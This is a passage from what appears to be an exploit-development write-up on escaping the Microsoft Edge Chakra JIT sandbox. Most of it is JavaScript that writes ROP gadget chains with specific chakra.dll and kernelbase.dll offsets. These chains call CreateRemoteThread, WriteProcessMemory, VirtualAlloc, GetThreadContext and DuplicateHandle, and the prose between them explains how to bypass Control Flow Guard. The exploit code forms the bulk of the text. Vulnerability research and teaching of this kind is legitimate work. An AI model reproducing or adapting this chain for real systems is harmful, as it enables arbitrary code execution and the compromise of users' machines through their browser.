write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0xdcfd0, kernelbaseHigh); // KERNELBASE!CreateRemoteThread
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!CreateRemoteThread)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!CreateRemoteThread - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // LPVOID lpParameter (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD dwCreationFlags (RSP+0x30) (CREATE_SUSPENDED to avoid executing the thread routine)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // LPDWORD lpThreadId (RSP+0x38)
next();

// WriteProcessMemory() ROP chain (Number 2)
// Stage 5 -> Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rcx gadget for lpAddress

// Before, we need to preserve the thread HANDLE returned by CreateRemoteThread
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a100, kernelbaseHigh); // .data section of kernelbase.dll where we will store the thread HANDLE
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000008, 0x00000000);             // SIZE_T nSize (0x8)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Current process
next();

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000+ropoffsetOne, chakraHigh); // .data section of chakra.dll where our final ROP chain is
next();                                                                       

// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where the VirtualAllocEx allocation is stored
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// WriteProcessMemory() ROP chain (Number 3)
// Stage 6 -> Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rdi gadget for our "fake return address"

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000008, 0x00000000);             // SIZE_T nSize (0x8)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Current process
next();

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000+ropoffsetTwo, chakraHigh); // .data section of chakra.dll where our final ROP chain is
next();                                                                       

// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where the VirtualAllocEx allocation is stored
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// VirtualAlloc() ROP chain
// Stage 7 -> Allocate some local memory to store the CONTEXT structure from GetThreadContext

// DWORD flProtect (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // PAGE_READWRITE (0x4)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// LPVOID lpAddress (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL (let VirtualAlloc() decide the address)
next();

// SIZE_T dwSize (RDX) (0x4d0 = sizeof(CONTEXT))
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x000004d0, 0x00000000);             // (0x4d0 bytes)
next();

// DWORD flAllocationType (R8) ( MEM_RESERVE | MEM_COMMIT = 0x3000)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);      // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00003000, 0x00000000);             // MEM_RESERVE | MEM_COMMIT (0x3000)
next();

// Call KERNELBASE!VirtualAlloc
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x5ac10, kernelbaseHigh); // KERNELBASE!VirtualAlloc address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!VirtualAlloc)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!VirtualAlloc - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38     
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
next();

// GetThreadContext() ROP chain
// Stage 8 -> Dump the registers of our newly created thread within the JIT process to leak the stack

// First, let's store some needed offsets of our VirtualAlloc allocation, as well as the address itself, in the .data section of kernelbase.dll
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a108, kernelbaseHigh); // .data section of kernelbase.dll where we will store the VirtualAlloc allocation
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// Save VirtualAlloc_allocation+0x30. This is the offset in our buffer (CONTEXT structure) that is ContextFlags
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x22b732, chakraHigh);       // 0x18022b732: add rax, 0x10 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x22b732, chakraHigh);       // 0x18022b732: add rax, 0x10 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x22b732, chakraHigh);       // 0x18022b732: add rax, 0x10 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);        // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a110, kernelbaseHigh); // .data section of kernelbase.dll where we will store CONTEXT.ContextFlags
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// We need to set CONTEXT.ContextFlags. This address (0x30 offset from CONTEXT buffer allocated from VirtualAlloc) is in kernelbase+0x21a110
// The value we need to set is 0x10001F
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);        // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a110, kernelbaseHigh); // .data section of kernelbase.dll with CONTEXT.ContextFlags address
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x0010001F, 0x00000000);             // CONTEXT_ALL
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);      // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// HANDLE hThread
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future mov qword [rax+0x20], rcx gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a100, kernelbaseHigh); // .data section of kernelbase.dll where our thread HANDLE is
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (RAX already has valid pointer)
next();

// LPCONTEXT lpContext
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a108-0x8, kernelbaseHigh); // .data section of kernelbase.dll where our VirtualAlloc allocation is (our CONTEXT structure)
next();                                                                      
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x255fa0, chakraHigh);       // mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret
next();

// Call KERNELBASE!GetThreadContext
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x72d10, kernelbaseHigh); // KERNELBASE!GetThreadContext address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!GetThreadContext)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);       // "return address" for KERNELBASE!GetThreadContext - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38     
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
next();

Using the same method of setting a breakpoint on jmp rax we can examine the first gadget in our GetThreadContext ROP chain.

We start off our GetThreadContext ROP chain by preserving the address of our previous VirtualAlloc allocation (which is still in RAX) into the .data section of kernelbase.dll.

The next thing we will do is also preserve our VirtualAlloc allocation, specifically VirtualAlloc_allocation + 0x30 into the .data section of kernelbase.dll, as well. We have already pointed out that CONTEXT.ContextFlags is located at CONTEXT + 0x30 and, since our VirtualAlloc_allocation is acting as our CONTEXT structure, we can think of this as saving our ContextFlags address within the .data section of kernelbase.dll so we can write to it later with our needed 0x10001f value. Since our original base VirtualAlloc allocation was already in RAX, we can simply just add 0x30 to it, and perform another write.

At this point we have successfully saved out CONTEXT address and our CONTEXT.ContextFlags address in memory for persistent storage, for the duration of the exploit.

The next thing we will do is update CONTEXT.ContextFlags. Since we have already preserved the address of ContextFlags in memory (.data section of kernelbase.dll), we can simply pop this address into a register, dereference it, and update it accordingly (the pop rax gadget below is, again, to bypass the cmp instruction that is a residual instruction in our ROP gadget which requires a valid, writable address).

If we actually parse our VirtualAlloc allocation as a CONTEXT structure, we can see we properly set ContextFlags.

At this point our call is in the following state:

VirtualAlloc_buffer.ContextFlags = CONTEXT_ALL		// CONTEXT_ALL = 0x10001f

GetThreadContext(
	-
	-
);

Let’s now step through more of the ROP chain and start out by retrieving our thread’s handle from the .data section of kernelbase.dll.

At this point our call is in the following state:

VirtualAlloc_buffer.ContextFlags = CONTEXT_ALL		// CONTEXT_ALL = 0x10001f

GetThreadContext(
	threadHandle,					// A handle to the thread we want to retrieve a CONTEXT structure for (our thread we created via CreateRemoteThread)
	-
);

For our last parameter, lpContext, we simply just need to pass in the pointer returned earlier from VirtualAlloc (which we stored in the .data section of kernelbase.dll). Again, we use the same mov rdx, [rdx+0x8] gadget we have seen in this blog post. So instead of directly popping the address which points to our VirtualAlloc allocation, we pass in the address - 0x8 so that when the dereference happens, the +0x8 and the -0x8 offset each other. This is done with the following ROP gadgets:

// LPCONTEXT lpContext
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a108-0x8, kernelbaseHigh); // .data section of kernelbase.dll where our VirtualAlloc allocation is (our CONTEXT structure)
next();                                                                      
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x255fa0, chakraHigh);       // mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret
next();

Our call, after the above gadgets, is now ready to go as such:

VirtualAlloc_buffer.ContextFlags = CONTEXT_ALL		// CONTEXT_ALL = 0x10001f

GetThreadContext(
	threadHandle,					// A handle to the thread we want to retrieve a CONTEXT structure for (our thread we created via CreateRemoteThread)
	addressof(VirtualAlloc_buffer)			// The buffer to receive the CONTEXT structure
);

After executing the call with pt we can see we successfully leaked the stack of the remote thread!

However, if we take a look at the RIP member, which should be a pointer to our ret gadget (theoretically), we can see it is not.

Instead, it is a call to RtlUserThreadStart. This makes total sense, as our thread was created in a suspended state - and wasn’t actually executed yet. So, the entry point of this thread is still on the start function. If we actually debug the JIT process and manually resume this thread (using Process Hacker, for instance), we can see execution actually fails (sorry for the WinDbg classic screenshots):

Remember earlier when I talked about the nuances of setting the entry point directly with our call to CreateRemoteThread? This is Control Flow Guard kicking in and exposing this nuance. When we set the routine for CreateRemoteThread to execute, we actually did so with a ret ROP gadget. As we know, most functions end with a ret statement - so this means we told our program we wanted to call into the end of a function. Control Flow Guard, when performing a call will check to see if the call target is a valid function. The way this manifests is through a bitmap of all known “valid call targets”. CFG will check to see if you are calling into know targets at 0x10 byte boundaries - as functions should be aligned in this manner. Since we called into a function towards the end, we obviously didn’t call in a 0x10 byte alignment and, thus, CFG will kill the process as it has deemed to have detected an invalid function (and rightly so, we were maliciously trying to call into the middle of a function). The way we can get around this, is to use a call to SetThreadContext to manually update RIP to directly execute our ROP gadget after resuming, instead of asking CreateRemoteThread to perform a call instruction to it (which CFG will check). This will require a few extra steps, but we are nearing the end now.

Manipulating RIP and Preserving RSP

The next thing we are going to do is to preserve the location of RIP and RSP from our captured thread context. We will first start by locating RSP, which is at an offset of 0x98 within a CONTEXT structure. We will persistently store this in the .data section of kernelbase.dll.

We can use the following ROP snippet (including previous chains) to store CONTEXT.Rsp and to update CONTEXT.Rip directly. Remember, when we directly act on RIP instead of asking the thread to perform a call on our gadget (which CFG checks) we can “bypass the CFG check” and, thus, just directly return back to the stack.

// alert() for debugging
alert("DEBUG");

// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)
jitHandle = read64(chakraLo+0x74d838, chakraHigh);

// Helper function to be called after each stack write to increment offset to be written to
function next()
{
    counter+=0x8;
}

// Begin ROP chain
// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28
// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them
// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us

// DuplicateHandle() ROP chain
// Stage 1 -> Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions
// ACG is disabled in the JIT process
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299

// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer

// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter

// HANDLE hSourceHandle (RDX)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Psuedo-handle to current process
next();

// HANDLE hTargetProcessHandle (R8)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPHANDLE lpTargetHandle (R9)
// This needs to be a writable address where the full JIT handle will be stored
// Using .data section of chakra.dll in a part where there is no data
/*
0:053> dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72e128, chakraHigh);      // .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server;
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
